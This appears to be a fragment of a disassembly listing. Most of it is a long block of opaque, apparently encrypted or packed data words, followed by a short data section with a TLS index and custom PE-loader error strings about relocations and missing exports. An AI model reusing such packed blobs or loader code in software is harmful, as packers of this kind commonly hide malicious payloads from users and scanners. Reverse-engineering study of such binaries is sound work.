		dd 374959B7h, 61AE9F44h, 5D5F6D78h, 40324C06h, 0F6EF7946h
		dd 9B312EAEh, 94C38992h, 72BD6BB4h, 2349935Ah, 4FD3410Dh
		dd 68F88FE2h, 0CCA0066Ch, 0E7279E0Eh, 0B218B5ABh, 0D90805EFh
		dd 0A3D1DE21h, 2F49AA0Bh, 1031ACE6h, 7336B330h,	0BD68D53Dh
		dd 68D87CBDh, 8B6E7087h, 0A4C00EF6h, 0F31FBC41h, 0D5AA059Bh
		dd 0EF1C2EA5h, 0C4C4E1EBh, 652E0CD4h, 0A9F1D1E0h, 0B73B1A50h
		dd 21BDAE76h, 7F2651CDh, 3BC386B9h, 42C2B9D3h, 0F0539C8Eh
		dd 0F65D0082h, 0B6CC24B3h, 0EF917AF0h, 6AECA71h, 42B75E66h
		dd 0A9675022h, 0B5601A0Ch, 0CDFF698Bh, 0F4DABFFBh, 2A86FE5Dh
		dd 7B6FE457h, 1DB3F6FCh, 0A7373B04h, 6D9E7292h,	43D99C4Ah
		dd 0D16ADBF4h, 1CFA5A45h, 80494D32h, 0E32B59Ch,	0AF989D9h
		dd 8AE7C600h, 3C51B7h, 95248AABh, 3545F0A6h, 0B086BF35h
		dd 4DB993BDh, 0A0531162h, 287D0967h, 55230965h,	967B1405h
		dd 9484CBF7h, 0EB263898h, 0B9FE6EF4h, 3145B53Ah, 4CE9DDB4h
		dd 20AA1BE1h, 0BF4F2776h, 9032DAF7h, 30D6514Dh,	346F3068h
		dd 0FD3CD527h, 0D18116E0h, 75397E6Dh, 3D1B821Eh, 3E947A3Ch
		dd 8AD13B80h, 1AD70CB5h, 194E8C1Eh, 23C3DF36h, 5B0F006Dh
		dd 33DA40C7h, 1F44AF67h, 6458E842h, 0CCD8A925h,	0F65A2617h
		dd 0F1BC9C59h, 2D62F589h, 0ECBF31A6h, 0FCE9B432h, 0F6A54D0Ch
		dd 736829C4h, 4B9D4A68h, 0C139742h, 8D24EFEFh, 711C13BCh
		dd 46BDEF23h, 44B30F59h, 0C7FE4C6Fh, 59A21DFh, 0AFF35A55h
		dd 0D4CC7482h, 6B848372h, 9A560743h, 7293F5FCh,	0C9C0422Ah
		dd 8217D745h, 0A422D776h, 17154D71h, 57392829h,	0E832D060h
		dd 9DC18EC2h, 65EE52FAh, 0C22C8189h, 7FBDDF79h,	7377D628h
		dd 30CFC6A1h, 2E737487h, 5C7F0A4h, 7CF681D6h, 801B09A1h
		dd 9F9D7046h, 3AF0F9D8h, 83E36CD5h, 5FE6323Bh, 1A1C3400h
		dd 0D55DF819h, 198120CCh, 0A3EE452Dh, 6D7A0A05h, 8DE2721Fh
		dd 0DCB078B6h, 2F86B07Bh, 9F626893h, 4FB99FEFh,	9CC44F5Ah
		dd 1A56ED3Ah, 0D19CDF16h, 0C082AD55h, 0C5875287h, 0E030E6F8h
		dd 0E487EFD4h, 2921DDE4h, 833A3D36h, 9BC21E18h,	0F214F37h
		dd 241ED174h, 86390F5Eh, 0D94ACEB0h, 5F761142h,	8A85D30h
		dd 0E68C6821h, 67055AEBh, 187ED97Eh, 0E577B94Ah, 0DBABEDFCh
		dd 0D4F7BF57h, 2A9DE0D4h, 2960FF6h, 0F9142AE9h,	0A0406584h
		dd 0EB56CAA1h, 2DE8D5A6h, 0DA4507A0h, 0BA9D7059h, 56B24F92h
		dd 8776FB3Ah, 55463855h, 2FA8798Dh, 782BE8FAh, 6F1E580Ch
		dd 2B6DCDADh, 0B0175297h, 0A3BE8416h, 5EA7400Eh, 0EB6108F2h
		dd 34362FEAh, 0D8666C54h, 0C2B92783h, 0FA40B68h, 0A267C118h
		dd 0F7A14861h, 3A4FA4B8h, 0A4414B22h, 31236F9Dh, 0AAB72C4Eh
		dd 66CCD4F8h, 0D6322AD1h, 292DDF3Fh, 5715705h, 27DFB639h
		dd 77006D8Ah, 0C328328Eh, 0B0EC64Bh, 3763DDA4h,	0CF5DE532h
		dd 0FF118031h, 0E586E64h, 4D0FB360h, 21F9C3E3h,	0C92FAB9Fh
		dd 0A5D739D5h, 61DCB6E9h, 0C8D8117Fh, 70588648h, 54B9F0BDh
		dd 0D47185FFh, 5BC8F21h, 5B9CE0CFh, 79B802B0h, 0C5010013h
		dd 0CA03A56h, 0DB125675h, 7DD9273Ch, 2226150Eh,	4BDDDEF8h
		dd 33472CCh, 0A9C4FEDBh, 0ECB284EEh, 0F8875909h, 1C92AC79h
		dd 0D2028BFCh, 0C41BEC6Eh, 0AD9C4E89h, 0C0239D0Ah, 2DAED28Fh
		dd 5EC1A2A7h, 6E8EB926h, 0CEA9C49Eh, 0EF41330Dh, 11C3191Ah
		dd 0C20E9B4Eh, 25E8C08h, 2A1EF8EEh, 79AA162Bh, 970F9CDEh
		dd 0EEE84BBCh, 50C61672h, 725DE22Ch, 4F4D08B6h,	72A1994h
		dd 0CE95005Dh, 0DBCFAA43h, 930F3F68h, 0F574C2D5h, 5D1A128Ch
		dd 0CF6C15EEh, 0BC1291FDh, 264ABC5Ah, 82912430h, 0BFE5F19h
		dd 3FAC8207h, 0A50D43D7h, 9891876Dh, 0F8B42EBEh, 0C2274249h
		dd 1FE36FCEh, 68EB352Dh, 0C1DD3EBAh, 1A2A1D53h,	0FF393E09h
		dd 0AA5D09Eh, 6C65CECDh, 0C2BFF022h, 0B1B7295h,	0BB554491h
		dd 2357215Bh, 5EE85A1h,	18C4565h, 953D158Ah, 1BA23BE1h
		dd 0BCE477A3h, 96B2A9A7h, 5D8DA2ECh, 296A781Bh,	6152EA1Ah
		dd 0A5E26FB8h, 0F33C3770h, 0FC21E100h, 95CAE9E2h, 4C1B2992h
		dd 3DF4C287h, 0E34C3AB8h
		dd 59295BBBh, 38658A68h, 0C0283501h, 0A8E8589Fh, 6680737h
		dd 0B7D65D18h, 0C0FB17FFh, 6F151B47h, 5FEF9428h, 0C34F34B3h
		dd 0E511C27Dh, 1903BF64h, 0A391614Eh, 33515EF6h, 39319CA3h
		dd 882CCB27h, 0A45CD2FEh, 462C0E69h, 9E414E3Ah,	0A5E6FCCh
		dd 0CF11CDCh, 0DC9BBAEBh, 420382C6h, 1D084394h,	0A177390h
		dd 0BC698035h, 99864ADDh, 315A9D66h, 95752317h,	4C41CE60h
		dd 63D93493h, 88DA011Ch, 6855B912h, 23FC23BDh, 5F536609h
		dd 1008A88Bh, 0AD83A177h, 3CB48182h, 4945C51Fh,	0FF969752h
		dd 359AB9AFh, 3F0D90FDh, 382B4231h, 0C09A0456h,	0DF97583Eh
		dd 334D8B2Bh, 9BF4EBD0h, 8346A26Ch, 6A296B2h, 766EC080h
		dd 5E5F3022h, 4FFE19EEh, 5CF4323Fh, 0B6FC161h, 0C953ACDh
		dd 0FC13F9DEh, 0F6E275A6h, 7B2BB3BAh, 0E50BAD1Fh, 0E8ADF752h
		dd 0DDAFBB4Ah, 430B0B1Dh, 115206CEh, 0F5F691B9h, 0C383F9D1h
		dd 0C5042234h, 0AABCB088h, 0FD2E80F7h, 73BFB064h, 583ED545h
		dd 97E5323Ah, 53ED95F1h, 1A0058AFh, 5125EE4Dh, 0BC431B61h
		dd 5C9FFC05h, 961861B5h, 0A6EB01E5h, 62192F22h,	3A32C7FBh
		dd 0BBB7FAE5h, 0E30CD511h, 94AAB8D4h, 7B8A0E79h, 0D726915Ch
		dd 75E760D0h, 498ACAE7h, 6BA4ABBBh, 98B55891h, 0E45371C9h
		dd 0C3EB5F19h, 0BA7F6D75h, 0BAE4CFD1h, 0A1B8BAA7h, 746060D2h
		dd 0C4571186h, 0D5C68FAEh, 44F14540h, 648F361Bh, 6FD99CC7h
		dd 0FFEA13D5h, 0E97C3F1Ch, 5D269915h, 5C4FF5F4h, 0F86C9C4Ah
		dd 3B553F06h, 32741038h, 4DF7CCA7h, 95149BEDh, 8966229Ah
		dd 37227122h, 5821A904h, 0E30EFE6Bh, 900108Dh, 0CAF5BF3Bh
		dd 0E0F2334Fh, 16F3CC72h, 0BBBB9A21h, 8B173719h, 63C42CFCh
		dd 582AFD2Bh, 2DD66207h, 647DE951h, 2D20190Fh, 0E4246D46h
		dd 7E93E369h, 1D94CEC6h, 23286C31h, 4F8ABC6Bh, 1C09720Ah
		dd 16EB940Dh, 0F9F0BA2Ah, 4663B9BCh, 0E82D386h,	4EE76FCAh
		dd 62ADFB7Dh, 61C81098h, 96050189h, 0A7764C37h,	86451DA0h
		dd 0D9A84D30h, 5BC963D0h, 790BC85h, 6933B8CDh, 0C5105DFEh
		dd 41F6CA4Fh, 58AAC837h, 713938B7h, 0A9F11967h,	8EC42F1Eh
		dd 4A1513BBh, 1CC70C74h, 0B4C97D0h, 0C5369E16h,	75DDD7E9h
		dd 95556D2h, 0B2616709h, 1BE73CC6h, 30B378C5h, 6F093535h
		dd 724DF068h, 3B8BBDB3h, 0DB4D6FD2h, 0AB72F982h, 0F4489546h
		dd 0BB0405C0h, 0F6172801h, 2E77F563h, 2E26AA3Dh, 0DA8E85AAh
		dd 7EE2CE5Fh, 2BD7F658h, 78898773h, 0F6C95712h,	0F8B008h
		dd 113C2736h, 0E76C34BDh, 86EA144h, 0B87D3C76h,	0ED05AC13h
		dd 0F4AC56C0h, 6B6FF3Bh, 88D27E51h, 0BDF44201h,	10F9F210h
		dd 512C97A4h, 0FCBC13A2h, 6B35B742h, 5A766AD2h,	7CE28612h
		dd 52BB5582h, 863B24F2h, 0AECEFCF6h, 9862325h, 0D8AAD101h
		dd 0CC5B22ACh, 9DDF6BAEh, 0E6EEAAD2h, 63882F6Fh, 0C2395C70h
		dd 6D43534Eh, 5A0FD013h, 0DE492174h, 2F89D9B9h,	0A43229D3h
		dd 0BF52C19Dh, 6969AE95h, 4CE269Ah, 0D7F552EDh,	0F9F9C8C2h
		dd 17175FA9h, 1C35BDAAh, 81ACCD1Ch, 53724546h, 7399C51Ch
		dd 0DFB82F18h, 530E2084h, 4BFAED73h, 0E63DE24Eh, 0B097CEC5h
		dd 0C4C2D52Fh, 26ACD29Ah, 1938BC9h, 815BB80Dh, 5991D4C4h
		dd 2F57FE3Eh, 13423D78h, 291CBE3Fh, 6966B850h, 4B753933h
		dd 0BCC31C0Eh, 74B168AAh, 649F41FDh, 3DD97A62h,	0E77A899Ch
		dd 94A9696h, 92A84DAh, 0C5C2BBEEh, 0A1ADA9F6h, 0A3F45A92h
		dd 0FF7C66DEh, 5AE5F7B5h, 5D7A6734h, 0D854061Dh, 92972E80h
		dd 33226DDDh, 0E1D194BAh, 360A25A0h, 2BD12551h,	6AB46987h
		dd 24DAA9DCh, 0B038B8BFh, 37023728h, 4B737F9h, 8A2A9360h
		dd 53CD9B1Fh, 2F4CC8A1h, 0D95EACBEh, 0C5CD1D9Ah, 0E15619DFh
		dd 3EC701C2h, 502EAC96h, 544BEF93h, 0C95520AFh,	0F12EC779h
		dd 38879765h, 0FA695FF3h, 0A9ED640Eh, 8E9F7AF2h, 37B78D32h
		dd 0D8EDBBADh, 53814970h, 0C0E2874h, 4D462266h,	0ABAF350Eh
		dd 0A6EFBB27h, 2EAF9832h, 8596201h, 562FD03Ch, 0EAC70BCFh
		dd 7B37F213h, 7E744809h, 0A2C4BC7h, 0B2E8B61Ah,	1074D3BBh
		dd 50B45D29h, 9E2ABC9Ah, 6368E281h, 13754BB3h, 423AE42Fh
		dd 548D38BEh, 0EB5B2B83h, 0A2009A0Bh, 0FFB70DA4h, 7AEEF8FBh
		dd 0F0890B6Fh, 8C5A804Bh, 805A7C62h, 3984FF8Fh,	9144F1A6h
		dd 0D4C38758h, 0EAE2BA1h, 1F9D8923h, 7F6439B7h,	3CF288E1h
		dd 0D8768DA4h, 4701026Fh, 4C619E97h, 0BC500CAEh, 75C4D4AFh
		dd 870BDEB4h, 0BE228D81h, 87BB22BDh, 49F1561Bh,	600776BDh
		dd 0FB910011h, 37436CD8h, 8C887BA1h, 61F65D51h,	0AC88EE61h
		dd 0B4634535h, 4F75B235h, 0C1B3CE12h, 9A47483Ah, 91FE614h
		dd 57D58354h, 402661FCh, 0D67943A5h, 0A1A23042h, 88804D95h
		dd 0AFDB983Ch, 0EF27A424h, 53EFD5D8h, 2B29EF2Eh, 0EFEE0C3Ah
		dd 13F106F1h, 58E0E27Fh, 0D33384AEh, 6CAA8330h,	0C40EECA8h
		dd 7C5B2999h, 0A051A8ACh, 0C7390F39h, 8CF6A4EAh, 6376CB39h
		dd 0F65FE9D2h, 55A9F8AEh, 43534125h, 0E151D06h,	0DFAD7455h
		dd 0D3D3722Bh, 54A3F68Ah, 0AFA561CBh, 8740C84Bh, 0F8B5B508h
		dd 51D549FEh, 2A411C89h, 87D390BBh, 59A258C0h, 4918CC6Fh
		dd 0E35CC0AEh, 0AE04572Dh, 0CA646193h, 9C72D4Dh, 748EF082h
		dd 5315A0A0h, 0F64B2077h, 78A13123h, 5E1762C1h,	49BD31C0h
		dd 11D072FAh, 4D911EAAh, 8F4AC333h, 0F8A77641h,	0DE0FB3C5h
		dd 3AC1EAD3h, 2925A80Fh, 8FE6CFh, 0F5CB6E73h, 0A112FE9Dh
		dd 0A76C33B5h, 336085FDh, 44098675h, 2574BF18h,	0F095F970h
		dd 1B05ED80h, 14FD62CBh, 0E41ECF07h, 9FF09469h,	0C2D8CC2h
		dd 0E72E9034h, 262BD3BFh, 0A62446A9h, 0D4640E4Ah, 64F47DD8h
		dd 28E75157h, 7E6BFCC3h, 0A6155A63h, 0A05537CCh, 0D3AC7AA3h
		dd 9A74D2FCh, 917C00CAh, 0ADA0A44Ah, 0B2CC950Fh, 0E7C33448h
		dd 8D5DC32Bh, 0F3DC761Fh, 0C07DB1A4h, 72AA4D15h, 8A15C357h
		dd 0C14EABCAh, 61748364h, 0A894C22Bh, 7E5C45E7h, 0A9FE47A2h
		dd 78DE8833h, 3AB998Ch,	0CA8236C2h, 134A700Ch, 0B5A7A479h
		dd 0D7E5626h, 0E3E6856Bh, 0BE785553h, 3E148296h, 0E6C1ADAAh
		dd 0BF086BD0h, 25B74AEAh, 853D683Dh, 7BD804CDh,	45B15EF0h
		dd 712AFE78h, 5822EC1Ch, 0D63BE4AEh, 705824A1h,	0ED35ED04h
		dd 0F2F4CA1Ch, 5B3F1294h, 45354EE3h, 3092E900h,	77258EE1h
		dd 0A5380381h, 45E69B82h, 5DE7E9A2h, 75126132h,	39B92153h
		dd 998E5B86h, 8AFA2EBCh, 0DFCDDFE0h, 0EF411F27h, 0BC2A96ABh
		dd 0BDD6AF7Bh, 3D9B51D4h, 103DE2C3h, 22A137EFh,	0EDCA3C21h
		dd 990E1358h, 0D6235737h, 203E2CF0h, 19C073A8h,	5672A2B3h
		dd 30F1EC4h, 64AA4720h,	0A6D0B57h, 5D0C86CCh, 8AE00508h
		dd 0C8D389D8h, 10073390h, 0EB3A1F33h, 5B857371h, 0CED55D2Ah
		dd 400CE381h, 25F699E5h, 4E3F3164h, 0C8BC9FAAh,	0E4AF0F3Bh
		dd 0E83ACAAh, 0E5FDEF08h, 0ACA0175Ch, 0EBBE6415h, 0EFF7DDE9h
		dd 0C9B1EFF0h, 28533F01h, 925E7365h, 0D2A32C12h, 0D3F556B0h
		dd 59931031h, 3ADBAC38h, 0F9179175h, 735A8B91h,	535428FDh
		dd 70B3C87h, 65846621h,	38CB0040h, 81934F81h, 0F5370840h
		dd 95EAB485h, 0B276B432h, 1CF6CFA9h, 0A029F575h, 0A876D0A5h
		dd 5463543Ch, 40827C37h, 48662EADh, 20432BC4h, 0E0B4681h
		dd 3EC272AFh, 6C437CF9h, 0AD85215Dh, 9084DB7Ch,	62540420h
		dd 0F1301658h, 7E15C206h
		dd 0F0830E4Ch, 38B594A3h, 24BAFE21h, 42F4E1E7h,	0CC3BF5D9h
		dd 0D75E64DBh, 0F3FBF274h, 0EEDA7DD0h, 0C9958E83h, 779EE718h
		dd 4047652h, 0BABD7505h, 9DC21641h, 0BFD22B0Ah,	0D64821B7h
		dd 7541FF82h, 550AAFCAh, 342946CBh, 0CD67A198h,	6F1C0EFFh
		dd 3B288420h, 0E58A335Bh, 2F5EDF6Ah, 70DBFCD3h,	425CE7Ah
		dd 0ED1096D1h, 2DC9D18Dh, 0E1A7FCA6h, 0A92396CAh, 0CC12FF90h
		dd 4B14CB7Dh, 15B3BD9Eh, 0C209883Ah, 749189F0h,	0F69F6CDEh
		dd 19E8A85h, 5F73F62Bh,	797446B6h, 6237BEDFh, 0DA866B15h
		dd 1D146D72h, 0BE340DF2h, 6BD99C8Ch, 31E54CF6h,	1A1916F7h
		dd 2B05C477h, 70829B04h, 0EC2A2865h, 0E996F03Fh, 8A8A3300h
		dd 11342D67h, 2AC2D62Ah, 929965E8h, 0A398E091h,	25D3EAE6h
		dd 821347C3h, 73C8E6E4h, 0E0C169ABh, 83615FAEh,	0F4876986h
		dd 0A126B335h, 0C4A7FAF4h, 63A8335Fh, 7BAC5C59h, 0D317323Bh
		dd 0F06E7C9Dh, 0E97A130Dh, 24E5CA34h, 2F2640EAh, 0E29EE91Eh
		dd 6CBFDD2Ah, 9946A375h, 91CE2C92h, 0E52C3CBBh,	8A205ABAh
		dd 298A4E9Dh, 4C7E34B6h, 0B8E6ABCBh, 23C9A0ADh,	839C0485h
		dd 0DA0DF86Dh, 0D51A84E6h, 5FBA27CCh, 643796A7h, 0C3E5ED17h
		dd 11A2D0D0h, 12B50C54h, 0AA55715Dh, 0C67C68EEh, 0A172FD7Ah
		dd 3B7979EEh, 0E1B453E8h, 3E2D31B2h, 0C5D7F1E5h, 0C25CEE55h
		dd 8D1B4592h, 8AF99A6Eh, 0DF65ADE9h, 6123B7C6h,	3BE344E1h
		dd 0FCF3B6D3h, 0F565FE01h, 0DC44C390h, 76EA9A6Dh, 67FF7DD2h
		dd 72910915h, 4CFC1780h, 36F2A4CAh, 0EB21F8E9h,	81F152B6h
		dd 0BEEE9E48h, 3E00A3D2h, 5D562A8Bh, 2420A46h, 254A4831h
		dd 24089BE9h, 4E88D70Fh, 813E06A1h, 2A22E753h, 11153F55h
		dd 555E85A1h, 61234F94h, 8E000A44h, 0CCC5ECDEh,	388391CAh
		dd 44119D74h, 0BE634876h, 4F09B139h, 0A665913Ah, 60E3CB3Eh
		dd 8E23155Eh, 3485C706h, 2B94C538h, 70119E88h, 0E76DC15Dh
		dd 30FF034h, 5709F862h,	0C0E64460h, 479F404Ch, 1C7A44F9h
		dd 0F62033Ch, 0E7590176h, 60C9DE4h, 35EA4494h, 0F2FE4D3Bh
		dd 1E640DD2h, 50163E82h, 291087C8h, 0C9D90D64h,	60417E23h
		dd 7F4FE78Ch, 4D25C59Eh, 0F38D93D2h, 0F9205173h, 212B91E7h
		dd 59125EB7h, 8B2935F3h, 0A138C987h, 17FE36Bh, 0C0BCD8EFh
		dd 0CDCFBB2h, 9E008B23h, 12BA432Fh, 0DB78DBACh,	7D0FB1D5h
		dd 4AD28759h, 0EB14B953h, 0FDEDA735h, 0D108EEB9h, 298B162Bh
		dd 5D6692F3h, 533F480Ah, 0DC92FA76h, 813891B6h,	86FB5C1Ch
		dd 0A552BA8Eh, 0F447EA28h, 0AEE04033h, 4A12643Ah, 0CFB93FAFh
		dd 2D428809h, 0DF5D2511h, 6D49A232h, 7E37F12Ah,	0AD7CAC97h
		dd 8B9B222Ch, 219AE011h, 64576535h, 68FA807Dh, 3FFD9E31h
		dd 68E6D9C8h, 11DD184Ch, 0FE8F46A2h, 9E459371h,	6B09AA1Dh
		dd 0CDE7EE5Ch, 47217840h, 92388DEAh, 0A41D173Eh, 1838C9B5h
		dd 7AE9C2B7h, 0E5EE1AC5h, 0E0CD0DEAh, 84D95588h, 42555AFBh
		dd 406BA33Bh, 840229ABh, 0EE635DA3h, 2E974D3Fh,	0CA9E23A2h
		dd 51F567C2h, 9176910Fh, 0C3048E0Fh, 4707C98Ah,	0B139E06Bh
		dd 0E8FC58CFh, 3F85A175h, 0AEE8D6CFh, 9344A5CDh, 3B1323E5h
		dd 0C6AD9D5h, 274CFFFCh, 9083F51Bh, 0EB96DCA4h,	1BC28D51h
		dd 0CA820C79h, 26C92CDEh, 39DF93CDh, 94812476h,	3C4BA70Dh
		dd 5F57922Dh, 0EAF13F1Bh, 0ED860D25h, 39031102h, 1708E54Dh
		dd 0B1992481h, 0BF49E0F8h, 9E6867Ah, 5D0DEE9Bh,	0D3ADC981h
		dd 4C05BE7Eh, 40411619h, 79933CE4h, 38888F42h, 6D2692FFh
		dd 908DD7E0h, 81BEC2D0h, 36754E85h, 0B2CBCD29h,	5B6EE74Eh
		dd 7101971Bh, 7AE707E8h, 7BEC632h, 17BC83E5h, 32E53853h
		dd 62672E4Fh, 0ABC257F6h, 0C4FD7526h, 3E283897h, 308D91C9h
		dd 8D427CA2h, 0DC8DEAFEh, 0D06073F3h, 0B8A25960h, 65191E80h
		dd 9A1E5AACh, 0BAABEA28h, 5CAA563h, 94E9577Eh, 339D974Bh
		dd 372301CFh, 81F9A9BFh, 3AEFDD58h, 0FEC49CF3h,	0BD9A4BFBh
		dd 0DB9F4838h, 4EE50024h, 84C4D2F0h, 32B2B6E8h,	0E079A14h
		dd 632FC0E7h, 72306CBDh, 0A86B69B5h, 7021DDC2h,	653CE47Ah
		dd 218BD1E8h, 161CA5F3h, 7253B8AEh, 0D168151Ah,	0B8039E1h
		dd 22DD1274h, 0F323D2FEh, 28EB6F75h, 114FD226h,	0CEEEBDDAh
		dd 5C6A9823h, 0F8B9EA61h, 0D6BB91E7h, 0ACBCC16Ch, 0E82C5B36h
		dd 0B1EA85F2h, 4990A108h, 0A2DE7FDh, 9A6ABCBDh,	831FEF67h
		dd 3D32CFEEh, 0AD25638Eh, 5240F505h, 1D1533B9h,	9D195ABFh
		dd 0BF339A07h, 627CFE7Ch, 8A6E82CEh, 0FAF61918h, 4A5B5987h
		dd 0B14FCA7Fh, 0E3B52820h, 7C7D8C66h, 5470A8EDh, 84D8E0DBh
		dd 54E2A0F7h, 246E6765h, 217263E0h, 0E15629DBh,	0F7F5CDB2h
		dd 4D9D2CB7h, 0B99BBC73h, 94D0100Eh, 0FFB35E58h, 0D2A2021Eh
		dd 53F247E5h, 55C0367Eh, 67CC2309h, 0CF786CC5h,	17FB91A0h
		dd 0B20AD450h, 0DB99E5F7h, 5680988Dh, 68F30097h, 80D99A92h
		dd 475A9B2Fh, 5C20F842h, 68A4ADEEh, 0C3D12CBEh,	367B1EE4h
		dd 0F4D49CB7h, 19B5B48h, 510E9192h, 7B82A537h, 5ABF752Eh
		dd 5B0D082Dh, 0E5F15BC9h, 8F146DF1h, 0AD8C9BBAh, 0A4449228h
		dd 78AE466Dh, 0A79372F4h, 0D638CEA5h, 0B42F264Bh, 0B3B33508h
		dd 0E850E88Ch, 14FB6E1Ch, 6AABE44h, 0BD576760h,	31115A02h
		dd 8092058h, 710DC82Bh,	94E36C31h, 270EFC03h, 0A92BA81h
		dd 3ED962ECh, 0E5DEE571h, 831D8DF8h, 0B20657A9h, 7232D795h
		dd 0B9FBEEAEh, 0EF35E1Dh, 1630DEACh, 0BC9A17CBh, 0A16DD2EBh
		dd 910F5267h, 5C0A6CD9h, 6414A1E8h, 3AEBE78Bh, 0F2FB79CEh
		dd 280F1EBAh, 0D084F2F2h, 0D56E2965h, 76976E3Ch, 0CC06F526h
		dd 61BA186Bh, 0C46A3810h, 1D9882E7h, 4A8F994Bh,	0F7DC4EA4h
		dd 37023AE8h, 0B9587769h, 8AF4891Fh, 0C9F978EAh, 3FA0887Ch
		dd 42370382h, 0BB6B54Ch, 0C29ED3B3h, 54A6FEDAh,	0E39E7E2Ah
		dd 8FDAA865h, 7BA3723Ah, 263F2C7Eh, 0DC4B024h, 0A08F85EDh
		dd 0BE49407Dh, 2508821Dh, 5BBE7EFBh, 52F409A7h,	0DC93A4C2h
		dd 0ACB3F454h, 0D4C64B6h, 75348650h, 8CB82620h,	9B8EAA8Ch
		dd 9E8CB48Eh, 0AF76FAAAh, 276984ABh, 0A041ACAFh, 0D0B43251h
		dd 88CE66D3h, 3BAD752Ah, 88E47D50h, 0A9B3644Ch,	490B9313h
		dd 0D8D3FA51h, 8BDEC26Ah, 512F3C58h, 488475E6h,	0CA83BA4Bh
		dd 0E993AA5Ah, 5F151F7Ah, 0C9CFC545h, 48F67575h, 0CE568544h
		dd 7DD67C85h, 34EE55EBh, 0C32552ABh, 2F12D3CCh,	0E0F5886Bh
		dd 0F819AE1Dh, 7369EA67h, 5EC6AA92h, 292D78AEh,	0FB40613Dh
		dd 8FD0E0F8h, 566D86F4h, 6ADAE3C7h, 58C8804Ah, 3CF853F9h
		dd 0F479534Dh, 0EF7B4201h, 86B6C2E9h, 916DF284h, 8341CC6Dh
		dd 30C59E06h, 8793EA34h, 0FE8E22B9h, 325FC25h, 187B772Bh
		dd 316B4203h, 99030941h, 6635EE3Fh, 2608AF2Ah, 0A8D61A4h
		dd 0C5A882B2h, 63D6A102h, 0C3E383BEh, 23B52EC6h, 0EB833DDDh
		dd 0A496BA42h, 447E8D4Ah, 4EF33667h, 0CCAE70BEh, 0E442E2FAh
		dd 6719D2E7h, 43ABA368h, 0AFDF95B5h, 89740D39h,	0E7CCB742h
		dd 0BB6D9ACDh, 0B5AF231Bh, 0D2646161h, 3C318521h, 3860A454h
		dd 5174BF6Ch, 0DBCDE3C4h, 0C62696BCh, 1334E263h, 0E3A97F95h
		dd 0BF089498h, 0FEB0BCD7h, 0D0C5AA6Dh, 0FF9193B5h, 6BC9C347h
		dd 0FC05B62Bh, 0B53E93E5h, 6CAC3137h, 3DA408E7h, 6584A0FFh
		dd 1A8E5CC3h, 67EB372Ch, 24B86484h, 31E7922Eh, 3725873Ah
		dd 0B225DE8Eh, 0E9EE773Bh
		dd 0B251C893h, 0E70A04Fh, 0DC90399Dh, 733B3D09h, 6839EF3Ch
		dd 8616C63Dh, 0B3DFEDEAh, 0AEA26F1Ch, 24554C1Ah, 9406696h
		dd 0B199486Dh, 2D4D6C3Bh, 569B80DEh, 78671B10h,	6F75F84Dh
		dd 0BE114390h, 253528B2h, 0D2082122h, 743A6FBh,	322E62E7h
		dd 24452F34h, 0B349BEBDh, 86E56C76h, 0A62DFC73h, 0DE58728Ah
		dd 7BB8765Bh, 53DE1B77h, 1C077F22h, 0E435B5B3h,	2E602F4Eh
		dd 1954C05h, 6B6F0440h,	2C70C5B0h, 0AF15FD90h, 23D0BDE2h
		dd 0B3426D92h, 1CDC6A56h, 0F5D7915Bh, 0F82B5E28h, 0D8B7F557h
		dd 0A282A55h, 46FBB18Bh, 0EC64549Eh, 4D5510C8h,	538975Ch
		dd 6B2CF7ADh, 0D63CFF07h, 0B9C0F7F9h, 138CAC62h, 398E4D80h
		dd 9599FAA8h, 0A10ABF09h, 26B0714Eh, 2F6FB543h,	756F5EDBh
		dd 0EC160012h, 174889D7h, 45695BA0h, 78A5B072h,	6205144Ah
		dd 540311FCh, 3A7FC751h, 0EE0FF81h, 46183D6Fh, 9669D210h
		dd 0A543AFC9h, 0D500A58Dh, 2B3405E0h, 70251B14h, 7F22644Ah
		dd 0BE30D39h, 0F5DAB3EEh, 0FE0B4E3Ch, 1BF6861Bh, 0BA4283C6h
		dd 2B875E15h, 63AC9665h, 775D2CCEh, 0CF6E8B7Eh,	0DF5F5405h
		dd 13911CB4h, 83ECBC54h, 9B17943Bh, 9A2AA5Dh, 6910EA59h
		dd 946C1784h, 0F0E7564h, 50A76219h, 3FD6975Ch, 8FEA081Ah
		dd 0F07881D1h, 0E0FDD858h, 96396B83h, 0A1E89144h, 0C0D8F917h
		dd 0C1B8B3B9h, 147367ECh, 86674D9Ah, 5349E2FDh,	0B7F108D1h
		dd 0EAEDB225h, 7F572180h, 2C948592h, 1D0EB180h,	8030ABF1h
		dd 45660689h, 0B8420867h, 6E2523Eh, 25594BB6h, 624B3032h
		dd 0CEBF9334h, 0C07F80A7h, 37AFAD06h, 0A1F5D1D7h, 0FF6FF173h
		dd 0C00611BEh, 0Bh dup(0)
dword_42A000	dd 194Ch		; DATA XREF: sub_42AA39:loc_42AA55r
					; sub_42AA39+21o
off_42A004	dd offset sub_42B30E	; DATA XREF: .data:0042B9A4o
					; .ex_cod:0043982Co
TlsIndex	dd 0			; DATA XREF: .data:0042B9A0o
					; .ex_cod:00439828o ...
dword_42A00C	dd 0			; DATA XREF: sub_42B30E:loc_42B323r
					; sub_42B372+7w
dword_42A010	dd 1			; DATA XREF: sub_42B30E+44w
					; sub_42B372r
dword_42A014	dd 400000h		; DATA XREF: sub_42B30E+4Aw
					; sub_42B372+1Fr
dword_42A018	dd 1			; DATA XREF: sub_42B30E+52w
					; sub_42B372+19r
dword_42A01C	dd 0			; DATA XREF: sub_42B30E+5Aw
					; sub_42B372+13r
dword_42A020	dd 0			; DATA XREF: sub_42AA39+1E3r
					; sub_42B30E+Fw
off_42A024	dd offset dword_42B94C	; DATA XREF: sub_42AA39+26w
					; sub_42AA39+2Br ...
dword_42A028	dd 400000h		; DATA XREF: sub_42AA39+38w
					; sub_42AA39+4Cr ...
dword_42A02C	dd 1			; DATA XREF: sub_42AA39+3Er
					; sub_42AA39:loc_42AA96w
dword_42A030	dd 0			; DATA XREF: sub_42AA39+BAw
					; sub_42B3E1+Br ...
		align 8
aUnexpectedRelo	db 'Unexpected relocation type: *pw = 0x%04x  *pdw = 0x%08x',0
					; DATA XREF: sub_42AA39+801o
aErrorBadReloca	db 'Error bad relocation pointer: *pdw = 0x%08x',0
					; DATA XREF: sub_42AA39+7B1o
aTheHsFileIsL_0	db 'The %hs file is ',0Ah ; DATA XREF: sub_42AA39+662o
		db 'linked to missing export %hs:%hs.',0
		align 10h
aTheHsFileIsLin	db 'The %hs file is ',0Ah ; DATA XREF: sub_42AA39+643o
		db 'linked to missing export %hs:0x%04x.',0
		align 4
